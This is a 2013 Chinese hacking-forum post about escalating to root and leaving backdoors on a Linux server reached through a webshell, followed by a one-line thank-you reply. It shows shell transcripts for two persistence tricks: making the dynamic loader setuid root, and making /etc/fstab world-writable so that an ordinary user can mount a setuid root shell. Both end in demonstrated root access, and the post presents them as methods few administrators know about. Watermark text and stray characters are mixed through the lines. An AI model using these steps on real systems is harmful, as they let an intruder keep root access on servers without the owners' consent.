找回密码
 立即注册
查看: 3756|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究: M$ q3 x0 s+ [* P2 G* t
; V( M7 A7 T4 y, L" O; H2 }
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
& |6 z7 ]9 D7 C6 `* R7 ylrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
' t2 T% O/ O# qlrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
& v0 e9 c" g7 X[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究1 [: h5 l1 A% z$ m; p) r, C
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
/ m3 o$ a. }- q, g: [-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究/ L( R/ p" K  c* D# m
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
/ k9 U+ V4 M1 q, ^2 M" e7 R. O1 i6 o[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
- }$ D7 j1 M& B- x* ~/ v我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
! L/ j1 o6 U% ^/ D2 I7 N4 E7 A( z9 T7 |" z. R& [  N# M1 p2 j
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
  p2 d' @) g. ~1 {8 I- w# G
: z. }* q: ?- J, R% H" R[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
9 }" d, d( N1 y7 N0 {2 Bxiaoyu2ezX-BUG-关注前沿信息安全技术研究+ s4 e$ G! t: L2 x6 Y6 N  M
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究' f" b9 H! D4 x( L7 X
root2ezX-BUG-关注前沿信息安全技术研究
; R; n/ O' O3 l[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
; K4 g5 ^& |* v+ R+ V恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究7 W. [0 J/ X$ |+ R, u4 f
$ A) g6 U9 F1 n) V) c! O
方法二:2ezX-BUG-关注前沿信息安全技术研究
# T* m& ~' @3 U9 V7 M$ t4 @* d7 }7 J  i; q- Q8 \+ {* ]& g
看过程:2ezX-BUG-关注前沿信息安全技术研究
8 c: V; X* N/ S# s* S) U
" g( ~4 U% j" j- |% O/ D[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
# L8 m. L$ E) D[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究$ V+ ^( l+ T( G1 ]$ R* d: ]
& A: w$ y# e" H# o; S9 s+ X1 }4 w/ i
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究+ g( z7 E4 {$ u4 `
3 C# m. D& V" w9 v6 i6 M# E/ i9 ^
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
$ ?, l! l. A# O$ _" @# z6 L-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
7 `' m$ \! E$ [4 Q+ Z- N; O2 b[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
1 n4 p; q8 D9 e1 p. e7 l4 ?8 ?: d" Z8 m
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
/ Y5 L) P+ x4 b# h& a, [# b+ L2 t/ F+ r4 h7 J1 ^* k
[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究. V7 f! |- a  b9 K2 D# O
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究2 e! k! B$ i$ u+ S, g0 O
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究9 P, |* L# w6 b3 z) f' C
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
& e5 R: M4 _: M* c: C& S! Y7 h[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究8 o; s) ]0 n  @
total 182ezX-BUG-关注前沿信息安全技术研究
- d  X" p  q# O6 edrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
; J' {) r. n, G" n: U3 C5 l-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究5 D. G7 B; h* l% [$ O
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
. ?; k  l4 n, fsh-3.2#2ezX-BUG-关注前沿信息安全技术研究
  s$ _, r4 P; y5 s' L! z; ?看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究9 T5 D3 D! W9 ^. u: Q0 g* r
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
! j$ i6 j' C5 J7 v7 G7 f) u& `  J: q6 U" s5 o& N7 R0 t. v8 _1 R
貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究; ~/ n& G# y2 P( a
2ezX-BUG-关注前沿信息安全技术研究& }) V( x: f+ l+ e$ S+ R) D
2 S( s* x0 F5 Z: b8 y7 r
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表